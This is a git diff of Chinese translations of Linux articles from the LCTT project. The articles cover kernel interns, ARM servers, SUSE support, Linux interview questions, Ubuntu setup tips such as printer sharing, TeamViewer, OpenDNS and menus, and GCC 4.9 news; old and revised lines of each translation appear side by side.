我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我成为一名我所在大学的教师助理的志愿者,我还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和低级编程语言。
我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和底层编程语言。
**你为什么申请同OPW一起为Linux内核工作**
@ -72,25 +73,29 @@
**Tulin Izer和来自Intel的Peter Waskiewicz一起去解决x86系统的启动进成并行化问题。**
我来自土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
我来自土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。
**为什么你申请同OPW一起为Linux内核工作**
我对操作系统以及使用C语言进行变成非常感兴趣,但是我对内核开发没有任何经验,但是我觉的这是一个起步的好地方。
我对操作系统以及使用C语言进行编程非常感兴趣,但是我对内核开发没有任何经验,但是我觉的这是一个起步的好地方。
### Xenia Ragiadakou ###
目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。
目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。
**为什么你申请同OPW一起为Linux内核工作**
想加入开源项目的想法已经在我的脑海中存在很久了但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1OPW针对女性这一目标是我感到更加舒坦。2我非常喜欢在Linux系统中工作。3被引入Linux内核的开发过程非常平顺会在应用开发的早期加入进去。
想加入开源项目的想法已经在我的脑海中存在很久了但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1OPW针对女性这一目标是我感到更加舒坦。2有Linux核心方面的项目。3被引入Linux内核的开发过程非常平顺会在应用开发的早期加入进去。
作者:[Libby Clark][5]
![img](http://www.linux.com/component/ninjaboard/avatar/41373/catid/200-libby-clark/thumbnail/large/cache/1331753338)
--------------------------------------------------------------------------------
via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-program-for-women-seeks-new-linux-kernel-interns/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng),[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
@ -98,3 +103,4 @@ via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-pr
[2]:http://lwn.net/Articles/563977/
[3]:http://lwn.net/Articles/570483/
[4]:http://kernelnewbies.org/OPWIntro
[5]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark

View File

@ -1,40 +1,41 @@
Red Hat 准备64位ARM服务器
Red Hat 为64位ARM服务器做准备
================================================================================
> ARM处理器可能带来具有成千上万的节点的服务器机架Red Hat的ARM首席预测
IDG新闻服务 - 企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展为保持在数据中心的新生平台建立专业体系。
> ARM处理器可能带来具有成千上万的节点的堆叠服务器Red Hat的ARM首席架构师预测说
来自IDG新闻服务企业开源软件供应商Red Hat公司正在密切关注服务器的64位ARM处理器的发展以建立在数据中心的新生平台上的专业能力。
“你们在当今的商业产品市场看不到我们但我们已经建立了超越如今一些64位技术的能力。所以接下来如果我们有一个需要应对的市场我们将有能力应对”Red Hat首席ARM设计师Jon Masters说。这是Masters周五在华盛顿特区举行的USENIX LISA大型安装系统管理会议上提出的。
ARM处理器代表了“计算上翻天覆地的变化”Masters说。虽然已经在智能手机和嵌入式计算设备占据主导地位ARM处理器架构还可以在数据中心发挥作用。在过去的一年中基于ARM处理器的服务器已经开始出现在服务器市场。惠普已经开始销售基于ARM架构的Moonshot系列服务器。
对于数据中心ARM可能会带来超大规模计算时代因其低功耗设计,这样数千个微型计算节点可以打包成一个服务器机架。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。
对于数据中心ARM可能会因其低功耗设计而带来超大规模计算时代,这样数千个微型计算节点可以打包成一个堆叠服务器。“我们在不久的将来能够建立起完全区别于现今的规模。”Masters说。
ARM处理器可能无法以x86处理器的速度运行但它们可以提供大部分的性能而只消耗一小部分使用量这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术作为高密度服务器设计的一部分”Masters说。
ARM处理器可能无法以x86处理器的速度运行但它们可以提供大部分的性能而只消耗一小部分能源,这意味着在一个较小的空间可以打包更多的处理器。“你可以用你手机中相同的技术,作为高密度服务器设计的一部分”Masters说。
他说许多工作并不需要最快的处理器。相反工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系并不一定和我能做多少计算有关”他说。例如云计算和Web应用程序运行在多个服务器上和运行在较少但速度更快的服务器上的表现会同样出色。
他说许多工作并不需要最快的处理器。相反工作负载可以分布在更多的处理器上。“这和我能移动多少数据有关系并不一定和我能做多少计算有关”他说。例如云计算和Web应用程序运行在多个服务器上和运行在数量较少但速度更快的服务器上的表现会同样出色。
ARM的设计也可以简化数据中心操作。ARM系统上芯片设计可以解决管理许多服务器的外部元件的需要。例如ARM处理器可以提供构造的互联互通,减少外部电缆和顶级机架交换机的需要。
ARM的设计也可以简化数据中心操作。ARM的芯片内系统的设计方式可以解决管理许多服务器的外部元件的需要。例如ARM处理器可以提供交叉互联,减少外部电缆和顶级机架交换机的需要。
“每一个刀片都具有离散布线已经指日可待了, ”他说。
超大规模计算还需要做大量的工作Masters说
Masters说超大规模计算还需要做大量的工作。
ARM授权架构而和英特尔卖处理器不一样。其结果是从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的不必要的变化”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。
ARM授权它的架构而不是和英特尔一样卖处理器。其结果是从不同供应商提供的不同的ARM处理器有相当程度的变化。“有很多我们不需要的不必要的变化”Masters说。 ”这可能成为需要统一系统来管理集体的数据中心的一个问题。
[Linaro][1]是一个致力于为ARM平台和部分已经标准化ARM任务开发核心开源软件的产业群。Red Hat的工程师发挥了重要作用Linaro企业集团或称为LEG一直在努力规范软件让用户可以得到一个能运行在不同供应商提供的ARM处理器的Linux版本。”这些都是在企业领域的基本期望”Masters说。
“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆栈的值,”他说。
“我们需要把重心放在如何使它们从根本上兼容,这样你可以进一步增加堆,”他说。
另一个问题是还没标准化的32位ARM处理器被的外部设备支持。Masters说LEG正在考虑使用64位ARM处理器的ACPI高级配置和电源接口标准或UEFI统一可扩展固件接口。随着时间的推移ARM将提供一个自动化总线能力比如将提供支持x86的机器的PCI总线。
另一个问题是对外围设备的支持仍然没有标准化的32位ARM处理器。Masters说LEG正在考虑使用64位ARM处理器的ACPI高级配置和电源接口标准或UEFI统一可扩展固件接口。随着时间的推移ARM将提供一个类似自动化总线能力比如将提供支持x86的机器的PCI总线。
Masters说Red Hat还没有布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知但他明确指出测试了许多RHEL应用程序的社区Linux发行版Fedora项目现在已经为ARM提供了一个分布
Masters说Red Hat还没有布任何关于什么时候会发布一个ARM架构的Red Hat企业Linux版本的通知但他明确指出测试了许多RHEL应用程序的社区Linux发行版Fedora项目现在已经为ARM提供了一个发行版
--------------------------------------------------------------------------------
via: http://www.computerworld.com/s/article/9243921/Red_Hat_prepares_for_64_bit_ARM_servers?taxonomyId=122
译者:[whatever1992](https://github.com/whatever1992) 校对:[校对者ID](https://github.com/校对者ID)
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,27 @@
Suse Linux 延长支持期时间到10年
================================================================================
**Suse在客户的要求下延长了支持期**
Suse Linux Enterprise (SLE)(11版)及以后的版本将会迎来10年的支持期和而不是现在的7年此举是为了应对竞争对手的服务。
Suse的总裁和总经理尼尔.布劳克曼在佛罗里达的维斯塔湖举办的Suse 2013会议上的发言说"我们将进入一个新的Suse Linux Enterprise支持周期。"这个主题演讲的[视频][1]已经被放到了YouTube上。
Suse产品管理和操作的高级总监杰拉尔德.普法伊费尔,在周三的一封邮件中说:"Suse Linux Enterprise 11是首个得到10年支持期的主要版本以及3年的扩展支持(LTSS)。我们也考虑向前推进这个新的Suse Linux Enterprise的支持周期同样包含了12版。"Suse售卖开源Linux软件给企业。
普法伊费尔说:"Suse提供不同的包用于扩展支持。扩展支持到13年将花费$60,000/每100台服务器或者$80,000/每500台服务器。如果不限制服务器的数量费用是$125,000.这些价格已经沿用好几年了。"
布劳克曼在他的主题演讲中说:"从一个7+3年的支持期到10+3年的支持期客户能得到更多时间通用支持。"他还说:"这个决定是在几周前在客户的反映下做出的。"
Suse的支持期延长是随着Red Hat的在去年1月的行动RedHat根据客户需求将 Red Hat Enterprise Linux (RHEL) 5和6的生命周期延长到10年。
基于RHEL的Oracle Linux去年2月将支持期从8年延长到10年。而基于Enterprise Linux的重编译版本的CentOS同样将支持周期延长到10年有一段时间了。
--------------------------------------------------------------------------------
via: http://www.itworld.com/operating-systems/382610/suse-linux-enterprise-expands-regular-support-10-years
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.youtube.com/watch?v=T0W4izFu_WM

View File

@ -0,0 +1,164 @@
Linux 面试基础问题 - 2
================================================================================
继续我们这面试系列在这篇文章里我们给出了10个问题。这些问题或者是在以后的文章中出现的问题不一定在面试中会被问到。然而通过这些文章我们呈现出的是一个交互的学习平台这必将会对你有很大的帮助。
![](http://www.tecmint.com/wp-content/uploads/2013/11/Basic-Interview-Questions-2.png)
自本系列的上一篇文章[11个基本的 Linux 面试问题][1],我们分析了不同论坛对此作出的评论,这对我们将更好的文章提供给我们的读者是很重要的。我们付出了时间和金钱,那我们又渴望从你们身上得到什么回报呢?答案是没有的。如果你不能赞扬我们的工作,但恳请不要在评论中诋毁我们的工作。
如果你在文章中没有找到什么新的东西,但也请不要忘记它对某些人却是非常有用的,并且他或她会非常感激我们的工作。我们不能够让每一篇文章都使大家高兴。但我希望读者们能够尽量理解。
### Q.1:哪一条命令用于把用户登录会话记录在文件中? ###
- macro
- read
- script
- record
- sessionrecord
> **答**script 命令是用来把用户登录的会话信息记录在文件里。这条命令能够用在 shell 脚本里面,或者直接在终端中使用。下面是一个例子,它记录了开始用 script 到输入 exit 结束之间的所有东西。
如下命令记录用户登录会话到一个文件中:
[root@tecmint ~]# script my-session-record.txt
Script started, file is my-session-record.txt
记录的文件“my-session-record.txt”可以通过下述方式查看
[root@tecmint ~]# nano my-session-record.txt
script started on Friday 22 November 2013 08:19:01 PM IST
[root@tecmint ~]# ls
^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $
^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$
### Q.2:以下那一条命令可以用来查看内核日志信息 ###
- dmesg
- kernel
- ls -i
- uname
- 以上全不是
> **答**:执行 'dmesg' 命令可以查看内核的日志信息。在上面的命令中kernel 不是一个有效的命令,'ls -i' 是用来列出工作目录中文件的索引节点,而 'uname' 是用来显示操作系统信息的。
[root@tecmint ~]# dmesg
Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012
KERNEL supported cpus:
Intel GenuineIntel
AMD AuthenticAMD
NSC Geode by NSC
Cyrix CyrixInstead
Centaur CentaurHauls
Transmeta GenuineTMx86
Transmeta TransmetaCPU
UMC UMC UMC UMC
Disabled fast string operations
BIOS-provided physical RAM map:
...
### Q.3:哪一条命令是用来显示 Linux 内核发行信息的? ###
- uname -v
- uname -r
- uname -m
- uname -n
- uname -o
> **答**uname -r是用来显示内核的发行信息。其它参数-v-m-no分别显示内核版本、机器硬件名称、网络节点、主机名和操作系统。
[root@tecmint ~]# uname -r
2.6.32-279.el6.i686
### Q.4:那一条命令是被用来识别文件类型的? ###
- type
- info
- file
- which
- ls
> **答**file命令是用来识别文件类型的。其语法是file [选项] 文件名’。
[root@tecmint ~]# file wtop
wtop: POSIX shell script text executable
### Q.5:哪一条命令是被用来找一条命令的二进制文件、源和手册的所在的路径? ###
> **答**whereis驾到whereis命令是用来找一条命令的二进制文件、源和手册的所在的路径。
[root@tecmint ~]# whereis /usr/bin/ftp
ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz
### Q.6:当用户登录时,默认情况下哪些文件会被调用作为用户配置? ###
> **答**:在用户的目录下‘.profile.bashrc会默认地被调用作为用户配置。
[root@tecmint ~]# ls -al
-rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile
-rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc
### Q.7resolve.conf文件是什么的配置文件 ###
> **答**/etc/resolve.conf 是 DNS 客户端的配置文件。
[root@tecmint ~]# cat /etc/resolv.conf
nameserver 172.16.16.94
### Q.8:哪一条命令是用来创建一个文件的软链接的? ###
- ln
- ln -s
- link
- link -soft
- 以上都不是
> **答**:在 Linux 环境下ls -s是被用来创建一个文件的软链接的。
[root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf
### Q.9在Linux下pwd命令是passwd命令的别名吗 ###
> **答**不是默认情况下pwd命令不是passwd命令的别名。pwdprint working directory显示工作目录的缩写也就是输出当前的工作目录passwd在 Linux 中是被用来更改用户的帐号密码。
[root@tecmint ~]# pwd
/home/tecmint
[root@tecmint ~]# passwd
Changing password for user root.
New password:
Retype new password:
### Q.10:在 Linux 中,你会怎样检测 pci 设备的厂商和版本。 ###
> **答**:我们用的 Linux 命令是lspci
[root@tecmint ~]# lspci
00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1)
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1)
00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1)
00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1)
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1)
...
现在就到这里。我希望以上的问题也许对你很有用。在下星期我会再想出一些新的问题。到时请保持好的健康,继续关注我们并且与 Tecmint 保持联系喔!
--------------------------------------------------------------------------------
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/
译者:[hyaocuk](https://github.com/hyaocuk) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2315-1.html

View File

@ -0,0 +1,50 @@
每日Ubuntu小技巧-使用Windows共享打印机进行打印
===
对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户这篇博文向你展示如何在Windows中共享一个打印机并允许Ubuntu使用它来打印。
几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机但为包括Ubuntu在内的Linux系统生产的并不多。所以假如你有一台支持Windows的打印机你可以在Windows机器上分享它然后让其它系统来使用它来打印。
在几年之前我遇到了这个问题那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。译注除非是特别冷门的打印机现在一般都可以在Linux进行打印操作了。在译者看来本文的理由不成立不过做法成立。
我在我的Windows机器上安装了打印机驱动然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好但是我的Ubuntu却无法使用它来打印因为打印机并不支持LAN接口。
所以我在Windows上共享该打印机然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景你可以按照下面的指导来操作。
首先登入Windows右击你要共享的打印机然后点击**Printer properties打印机属性**
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png)
接着,选择“**Sharing共享**”标签页,勾选‘**Share this printer共享这台打印机**’复选框来共享。记住共享打印机的名字,因为你要使用这个共享名来连接这台打印机。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png)
最后,以管理员权限运行命令行终端,运行以下命令以便于文件和打印机可以通过防火墙实现共享。
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
接着登入Ubuntu中选择顶部面板右边的**齿轮**,然后选择**系统设置...**
系统设置打开后,选择打印机,然后点击**添加**。当跳出来一个窗口让你选择设备时,选择‘**Windows Printer via SAMBA使用SAMBA的Windows打印机**’。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png)
键入Windows电脑的IP地址或者主机名后面接着键入共享的打印机名。你可能需要键入你的windows验证信息用户名和密码。点击浏览来验证你是否可以看到打印机当你完成这些后就可以点击下一步继续。
接着,选择打印机品牌和型号。假如你在列表中看不到特定的型号,选择一个最接近它的然后继续。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png)
以上这些都搞定了之后,你的打印机就已安装好,可以使用喽。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png)
好好享受吧!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,50 @@
每日Ubuntu小技巧 - 使用TeamViewer连接远程桌面
================================================================================
TeamViewer是一款热门的远程支持和桌面共享工具并且它的Windows版、Mac OS X版和Linux版(包含Ubuntu)已经更新到版本 9 了。TeamViewer 允许你在任何地方通过网络控制任何电脑。
如果你在谈一桩生意或者帮助别人解决一些与电脑相关的问题,例如杀毒,又或者远程共享你的屏幕内容,那同样,它是一款功能强大的工具,值得拥有。
以下是这个支持工具如何使用的例子。
最近,我妈妈打电话给我说她想弄清楚如何安装一个程序。当我在电话中花了几分钟尝试帮她弄那个程序,不过都失败后,我决定自己来。
因此我们两个人都花了几分钟下载了 TeamViewer我连接上了她的电脑并且帮她安装了那个程序。
这是一个 TeamViewer 如何帮助你解决问题的例子,如果你准备使用 TeamViewer 来帮助你的顾客或者是客户的话,你可能需要购买一个授权许可来遵守公司的政策。
我宁愿选择 TeamViewer 而不选择其它远程支持工具的另外一个原因是它允许你直接使用,无需安装,至少在 Windows 上是这样。如果你只使用一次的话,那么你只需要运行它,而它却不会占用你的磁盘空间。
现在 TeamViewer 能够在几乎所有操作系统上运行,包括 Android 和 IOS。
Windows 用户可以 [从这里下载 TeamViewer][1]
Ubuntu 用户可以 [从这链接下载并运行 TeamViewer][2]
在 Ubuntu 轻松安装 TeamViewer运行下面的命令来下载安装程序
wget http://download.teamviewer.com/download/teamviewer_linux.deb
对于 **64位操作系统**, 使用下面的链接.
wget http://download.teamviewer.com/download/teamviewer_linux_x64.deb
最后,运行下面的命令来安装。
sudo dpkg -i teamviewer_linux*.deb; sudo apt-get -f install
去试试吧!
![](http://www.liberiangeek.net/wp-content/uploads/2013/12/teamviewer9ubuntu.png)
如果上述的命令不能成功运行的话,那么就去 TeamViewer [下载页面来下载][2].
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/12/daily-ubuntu-tips-teamviewer-9-is-available-for-download/
译者:[hyaocuk](https://github.com/hyaocuk) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.teamviewer.com/en/download/windows.aspx
[2]:http://www.teamviewer.com/en/download/linux.aspx

View File

@ -0,0 +1,37 @@
每日Ubuntu小技巧 - 使用旧式Gnome风格的菜单
================================================================================
喜欢GNOME风格菜单安装Class Menu Indicator吧。
对于那些从开始就一直关注Ubuntu操作系统的人他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变尤其是在桌面部分。从经典的GNOME桌面环境到UnityUbuntu已经完全地重新设计了。
对于那些新用户他们所知道的就是Unity桌面环境仅仅只是听说过或者见过之前Ubuntu的原始GNOME桌面环境。
如果你是一个老资格用户想要在Ubuntu的Unity回到GNOME风格的菜单安装Classic Menu Indicator 可以解决这个问题。这个有趣的包被安装在顶部面板的通知区域在Ubuntu中带回了GNOME风格菜单体验。
像经典的GNOME菜单一样它包括所有的应用和经典菜单结构。对于曾经使用过它的人们是容易导航和开启应用。对于新用户它也是容易掌握。
接下来的简短指导将会告诉你如何在Ubuntu中安装这个包。
马上开始,在键盘上按下 **Ctrl Alt T** 打开终端。
打开完毕后运行下列命令加入它的PPA文件
sudo apt-add-repository ppa:diesch/testing
接来下,运行下列命令安装它。
sudo apt-get update && sudo apt-get install classicmenu-indicator
安装完成后在Unity Dash中启动。它叫Classic Menu Indicator。当你启动它的时候它会自动的嵌入顶部面板如下图。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/classic-menu-indicator.png)
就是这样,使用并享受吧!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,32 @@
每日Ubuntu小技巧让鼠标适合左利手用户
================================
电脑的鼠标被设计成使用食指(大拇指旁边的那个手指)完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时,多数情况下你会使用食指完成点击动作。
事实上,许多左利手用户(俗称左撇子)习惯把鼠标放到键盘的左边,然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。
这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。
这个教程同样适用于右利手用户。如果鼠标为左利手用户设置,那么右利手用户可以使用这个教程将鼠标键切换回来。
好了,现在咱们开始吧,点击顶部右端面板中的齿轮按钮选择**System Settings系统设置**...
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed.png)
然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**,打开后选择‘**Right(右)**’选项,这样就可以改变鼠标的主键以适应左利手用户。
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed-1.png)
改回左以适应右利手用户。改变将会在选择后立即生效。
就是这样了。现在左撇子用户可以将鼠标移到键盘左边,用左手的食指来正确地操作鼠标了。
使用愉快!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/
译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,36 @@
每日Ubuntu小技巧-使用OpenDNS来保护你的电脑
===
互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。
就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。
但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。
正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。
当寻找添加一个额外的安全层去保护你的机器时使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成尽力对其每一部分都进行相应保护是保证安全的最好方法。
首先你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。译注我们认为其实在Ubuntu上使用反病毒和反间谍软件并不太必要但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外使用国外的DNS可能会比较慢也许过一段时间国内也会出现类似的服务。
这是一个简明手册告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。
sudo gedit /etc/dhcp/dhclient.conf
最后,在打开的文件中添加下面一行,然后保存。
supersede domain-name-servers 208.67.222.222,208.67.220.220;
重启你的电脑,祝你玩的开心!
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png)
好好享受吧!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,24 @@
通俗易懂的设计故事更能激发你的创意
================================================================================
伴随着产品品质、性能稳定和灵活性的提高Ubuntu渐渐吸引了一批富有经验的设计师这些设计师覆盖了越来越多的Ubuntu角落其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。
Faenza和Faience的发明者 **Ubuntu设计师 Matthieu "Tiheum" James**,发布了一篇富有见地的有趣文章,这篇文章围绕着几个图标的发明展开,使得对此感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。
这里提到的图标专为Juju设计在最近的OpenStack峰会香港站上在与Ubuntu展台的参观者们见面的时候发布这些图标采用了一个有趣的特性“为了向参观Ubuntu展台的观众说明Juju可以做什么**我们想**用更特殊的一些东西来代替普通的Juju图标。我们决定使用这样一个创意将不同的配料与酱汁与冰淇淋自由搭配创作出图标这样用户就能理解他们能够使用同样的方法自由搭配建立Juju中的服务。
这篇文章介绍了在真实的图标创作过程中的真实心路历程,使读者沉浸在一个学习但却易于掌握的旅程中,在旅程之中包括寻找好的概念、最初的草图、为图标添加立体感、采用不同的设计方法、选择图标背景、精炼图标等等。总之,这是一个通俗易懂的设计故事。
![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg)
你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。
--------------------------------------------------------------------------------
via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story
译者:[crowner](https://github.com/crowner) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/

View File

@ -0,0 +1,23 @@
GCC 4.9现在处于修复BUG的第三阶段
================================================================================
拥有很多[新功能][2]的[GCC 4.9][1]将定于2014年上半年发布。这个GCC的基础代码将不会增加新的功能目前将只修改大的BUG。
Richard Biener宣称代码主干目前处于第三阶段因此在之后的八个月这些功能将融入到4.9版本除非有发布主管认可的特例发生不然不会增加新的功能了。第三阶段只做普通BUG的修复工作将在2个月内完成而后到达只编写文档和回归测试的第四阶段。
目前GCC4.9有63个P1 回归测试最严重的回归测试其次是136个P2回归测试14个P3回归测试88个P4回归测试 以及60个P5回归测试。直到P1阶段的63个回归测试完成GCC4.9才接近发布。GCC 4.9.0发布版将可能在2014第二季度左右到来
GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个非常棒的更新,并会挑战下个月发布的[LLVM3.4][4]。
--------------------------------------------------------------------------------
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4

View File

@ -0,0 +1,145 @@
如何在Linux中显示和设置主机名
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg)
随着连接到网络的计算机数量越来越多每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样计算机也有一个叫做hostname主机名的属性。
### 什么是hostname ###
从它的操作手册来看hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNSDomain Name System域名系统或者NISNetwork Information System网络信息系统
### 怎么显示hostname ###
